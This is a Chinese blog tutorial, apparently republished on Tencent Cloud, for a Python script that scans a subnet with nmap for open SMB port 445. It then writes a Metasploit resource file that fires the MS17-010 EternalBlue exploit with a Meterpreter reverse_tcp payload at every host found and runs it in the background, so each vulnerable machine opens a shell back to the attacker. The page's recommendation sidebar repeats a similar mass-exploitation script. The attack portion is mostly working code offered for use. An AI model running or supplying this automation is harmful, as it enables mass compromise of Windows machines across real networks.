前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Python脚本与Metasploit交互批量产出MS17_010 shell

Python脚本与Metasploit交互批量产出MS17_010 shell

作者头像
安恒网络空间安全讲武堂
发布于 2019-09-29 06:25:45
发布于 2019-09-29 06:25:45
2.3K00
代码可运行
举报
运行总次数:0
代码可运行

前言:

2017年5月,被称为近10年来影响范围最广泛“最嚣张”的WannaCry勒索病毒席卷全球,据统计,全球共有150多个国家超30万台终端被感染,波及政府、学校、医院、金融、航班等各行各业。 在神器Metasploit中我们利用exploit/windows/smb/ms17010eternalblue这个模块可以对这个漏洞进行复现,但是在对内网整个网段进行漏洞验证的时候 每次都要输入参数的过程让我觉得很繁琐,于是写下了ms17_010漏洞批量利用的脚本

实验环境安装:

以kali为例(安装nmap库): pip install nmap pip install python-nmap (如果是ubuntu 请自行安装nmap和msf控制台)

整体代码架构

利用nmap库扫描:

首先,需要了解一下python一个名为nmap的第三方库,给网络扫描带来了极大的便利,创建一个PortScanner()类对象,这使我们能用这个对象完成扫描操作,利用类里面的scan()函数,将目标主机的地址和端口作为参数输入,进行扫描,通过返回的参数来判断主机的状态, 以扫描百度的80端口为例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import nmap
scanner=nmap.PortScanner()  //创建一个PortScanner()类对象
result=scanner.scan('183.232.231.172','80') //利用scan()函数对主机的地址和端口进行扫描
print result  //输出返回信息

返回信息:

{'nmap': {'scanstats': {'uphosts': '1', 'timestr': 'Sat Mar 16 01:44:25 2019', 'downhosts': '0', 'totalhosts': '1', 'elapsed': '18.97'}, 'scaninfo': {'tcp': {'services': '80', 'method': 'syn'}}, 'commandline': 'nmap -oX - -p 80 -sV 183.232.231.172'}, 'scan': {'183.232.231.172': {'status': {'state': 'up', 'reason': 'reset'}, 'hostnames': [{'type': '', 'name': ''}], 'vendor': {}, 'addresses': {'ipv4': '183.232.231.172'}, 'tcp': {80: {'product': 'Apache httpd', 'state': 'open', 'version': '', 'name': 'http', 'conf': '10', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': 'cpe:/a:apache:httpserver'}}}}}

uphosts为1则主机存活,0表示主机没有存活,tcp里面的state的值可以看出端口的开放状态, 接下来会重点用到这两个值 判断目标主机是否存活和445端口的状态:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def find_target(host):
    target_list=[]  //创建一个列表用来存放主机存活且开放445端口的列表
    for target in IP(str(host))[1:]:  //利用IPy类里面的IP()库转换成每个单独的ip
        target=str(target)
        scanner=nmap.PortScanner()   //初始化一个PortScanner()类对象
        rst=scanner.scan(target,'445')  //对目标的445端口进行扫描
        if rst['nmap']['scanstats']['uphosts'] == '0':  //判断目标主机是否存活
            print 'Host not up:'+target    //用户交互输出
            continue
        state=rst['scan'][target]['tcp'][445]['state']  //记录445端口的开放状态
        if state =='open':  //进行端口状态的判断
            target_list.append(target)   //如果端口开放,将主机ip加入到列表
            print str(target)+' with 445 port open, there may be a vulnerability in ms17_010'
        else:
            print str(target)+' 445 port not open!'
    return target_list

配置文件写入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def create_file(configfile,target,lhost):
    configfile.write('use exploit/windows/smb/ms17_010_eternalblue\n') //使用ms17_010利用模块
    configfile.write('set rhost '+target+'\n') //设置rhost
    configfile.write('set payload windows/x64/meterpreter/reverse_tcp\n')  //设置payload
    lport=4444+int(target.split('.')[-1]) //本地监听端口根据ip地址进行计算,防止多个shell产生端口冲突的问题
    configfile.write('set lport '+str(lport)+'\n')  //设置lport
    configfile.write('set lhost '+str(lhost)+'\n')  //设置lhost
    configfile.write('exploit -j -z\n')   //在后台且不与用户交互运行
    print "Your shell will created at "+ str(lhost) + ":"+str(lport)

因为脚本会黑掉多个靶机,不可能同时与他们交互,所以采用exploit -j -z在后台运行,并且本地监听端口为4444+主机地址的计算方式

主函数:

利用optparse库获取用户的输入参数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def main():
    parser = optparse.OptionParser('%prog -H <target> -L <lhost>')   //构造optionparser的对象并且给用户一个说明文档
    parser.add_option('-H',dest='host',type='string')   //在对象中增加参数选项
    parser.add_option('-L',dest='lhost',type='string')   
    (options,args) = parser.parse_args()  //调用optionparser的解析函数,解析用户输入的命令
    host=options.host
    lhost=options.lhost
    if host == None:    //用户如果没有输入扫描目标,输出说明文档
        parser.print_help()
        exit(0)
    target_list=find_target(host)  //获取开放445端口的主机
    for target in target_list:   //对每个主机进行循环
        configfile = open('meta.rc','a')   //利用文件追加的方式打开文件
        create_file(configfile,target,lhost)  //配置文件写入
        configfile.close()
    command='msfconsole -r meta.rc'   //为了缩短测试时间可以将命令先写入一个文件,然后在msf中加载它
    os.system(command)  //运行系统命令

进行代码整合:

源代码下载

演示:

靶机: 192.168.40.4(win7) 192.168.40.5(win7) 攻击机: 192.168.40.138(kali)

查看sessions:

总结:

批量化自动脚本给网络扫描带来了极大的便利,此代码注重Python和Metasploit的交互过程,可以举一反三和其他模块进行批量交互,有兴趣的可以自行编写.

参考文献: Python绝技:运用Python成为顶级黑客

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
python Metasploit攻击445端口
""" Created on Sun Nov 12 09:11:33 2018 @author: 小谢 """ import os import optparse import sys import nmap def findTarget(Hosts): #扫描网段范围内开放445端口的主机 nmScan=nmap.PortScanner() nmScan.scan(Hosts,'445') targets=[] for t in nmScan.all_hosts(): if nmScan[t].has_tcp(445): #如果445端口提供了协议 state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态 if state=='open': print '[+]Found Target Host:'+t targets.append(t) return targets #返回开放445端口的主机列表 def confickerExploit(configFile,target,lhost): #漏洞利用 configFile.write('use exploit/windows/smb/ms17_010_eternalblue \n') #漏洞利用代码 configFile.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n') configFile.write('set RHOST '+str(target)+'\n') #设定参数 configFile.write('set LHOST '+lhost+'\n') configFile.write('exploit -j -z\n') #j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换 def main(): configFile=open('configure.rc','w') #以写入方式打开配置文件 usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> ' parser=optparse.OptionParser(usage) parser.add_option('-H',dest='target',type='string',help='target host') #目标主机 parser.add_option('-l','-L',dest='lhost',type='string',help='listen address') #我们的主机 (options,args)=parser.parse_args() target=options.target lhost=options.lhost if (target==None)|(lhost==None): print parser.usage exit(0) targets=findTarget(options.target) #寻找目标 for target in targets: #逐个攻击 confickerExploit(configFile,target,lhost) configFile.close() os.system('msfconsole -r configure.rc') #启动metasploit并读取配置文件 if name=='main': main()
用户5760343
2019/07/31
2.1K0
专题 | Python编写渗透工具学习笔记二
目录 0x01编写一个conficker蠕虫 --使用Metasploit攻击Windows SMB服务 --编写Python脚本与Metasploit交互 --爆破SMB口令,远程执行进程 --整合代码 0x02利用FTP与web批量抓肉鸡 --构建匿名ftp扫描器 --爆破ftp用户口令 --在ftp服务器中搜索页面 --在网页中加入恶意代码 --一整份完整的攻击代码 0x03用python构建ssh僵尸网络 --用pxssh暴力破解ssh密码 --构建ssh僵尸网络 --进一步修改完善代码 0x04编
安恒网络空间安全讲武堂
2018/02/06
2.1K0
专题 | Python编写渗透工具学习笔记二
Python编写渗透工具学习笔记一 | 0x04 nmap实现端口扫描(准确性更高)
0x04 nmap实现端口扫描 在windows下安装nmap模块会遇到一些障碍,主要是路径的一些问题,在linux下会比较容易。 #实现功能 端口扫描 先介绍一下nmap在这个脚本中用到的方法 nmScan = nmap.PortScanner()#创建一个portscanner()类对象 nmScan.scan(tgtHost,tgtPort)#进行基本的nmap扫描 state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']#获取扫描状态 附上一个描述和一个
安恒网络空间安全讲武堂
2018/02/06
2.2K0
Python编写渗透工具学习笔记一 | 0x04 nmap实现端口扫描(准确性更高)
Metasploit与Nmap组合拳对内网进行Ms17-010(永恒之蓝)攻击
使用Nmap探测内网192.168.119.1的C段下那些主机开放了445端口已经存在ms17-010漏洞
渗透攻击红队
2019/11/20
4.5K0
Metasploit与Nmap组合拳对内网进行Ms17-010(永恒之蓝)攻击
基于Metasploit的软件渗透测试
Windows 2000 Professional 链接:https://pan.baidu.com/s/13OSz_7H1mIpMKJMq92nEqg?pwd=upsm 提取码:upsm Win
顾翔
2022/09/23
3.9K0
基于Metasploit的软件渗透测试
python 主机端口扫描器nmap
def nmapScan(tgtHost,tgtPort): #创建一个PortScanner()类对象 nmScan = nmap.PortScanner()
用户5760343
2019/07/31
7640
python使用nmap端口扫描
Thirdly:copy the code bellow to a file like  scan_network.py
py3study
2020/01/09
1.3K0
Metasploit(MSF)使用教程(以ms17_010永恒之蓝为例)
一.Metasploit简介: Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
天乐404
2024/03/14
2.1K0
Metasploit(MSF)使用教程(以ms17_010永恒之蓝为例)
运维python进行(一) nmap扫描
最近为了加强服务器安全性和监管,需要每天把公司服务器开放端口扫描记录,一旦出现增加减少能发现。
py3study
2020/01/12
1.7K0
python进行TCP端口扫描
为了从捕获我们的目标主机的应用标识,我们必须首先插入额外的验证代码到 connScan函数中。一旦发现开放的端口,我们发送一个字符串数据到这个端 口然后等待响应。收集这些响应并推断可能会得到运行在目标主机端口上的应 用程序的一些信息。
Tim在路上
2020/08/05
9250
[Centos7]python-nmap端口扫描
1.环境:Centos7+python3.6 2.nmap介绍:python nmap是一个python库,它有助于使用nmap端口扫描器。它可以方便地操作nmap扫描结果,将是一个完美的用于希望自动扫描任务的系统管理员的工具和报告。 3.安装
贰叁壹小窝
2020/07/22
1.3K0
Python 自动化运维 nmap
  1.对端口扫描,查看端口状态   2.实例 import sys import nmap scan_row = []     input_data = raw_input("PLEASE INPUT: ") scan_row = input_data.split(" ") if len(scan_row) != 2:     print ("error")     sys.exit(0) hosts = scan_row[0]  ##输入的主机 port = scan_row[1]   ##输入的端口
py3study
2020/01/15
7460
一次实战内网漫游
本人喜欢在各大群里吹牛X,突然看到有人问3389端口怎么转发,卧槽搞事情,连忙加上好友怕装X赶不上热乎,从此刻开始了一次内网漫游。
重生信息安全
2020/04/26
1.8K0
一次实战内网漫游
永恒之蓝(ms17-010)漏洞复现
  永恒之蓝(ms17-010)过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
LuckySec
2022/11/02
3.4K0
永恒之蓝(ms17-010)漏洞复现
红队/白帽必经之路(20)——实战之使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透[既然是红队,那就对自己狠一点]
盛透侧视攻城狮
2024/12/25
3390
红队/白帽必经之路(20)——实战之使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透[既然是红队,那就对自己狠一点]
Python3小工具——结合nmap扫描
一、工具说明 调用nmap库实现端口扫描 二、演示一下的利用效果 三、代码+注释 import nmap import argparse def nmapScan(Host, Port):    
py3study
2020/01/03
8660
EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!
Meterpreter的功能丰富,例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外,Meterpreter可以躲避入侵检测系统,在远程主机上隐藏自己,不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。
用户8909609
2023/12/27
17.5K0
EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!
利用公网Msf+MS17010跨网段攻击内网(不详细立马关站)「建议收藏」
其实很多小白在对利用msf进行ms17010攻击的时候总是不成功,其实这都是因为网上大部分的文章都是写的内网对内网(192.168.1.2–>192.168.1.3)这样的案例,今天写了一下利用公网的MSF直接攻击其他服务器内网的案例。
全栈程序员站长
2022/09/02
1.6K0
实现高效端口扫描
Python-nmap介绍: http://xael.org/pages/python-nmap-en.html
用户5766185
2019/07/08
1.2K0
实现高效端口扫描
Metasploit-使用详解
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的 有内存溢出,网站程序漏洞利用,配置错误exploit。
偏有宸机
2020/11/04
1.4K0
推荐阅读
相关推荐
python Metasploit攻击445端口
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验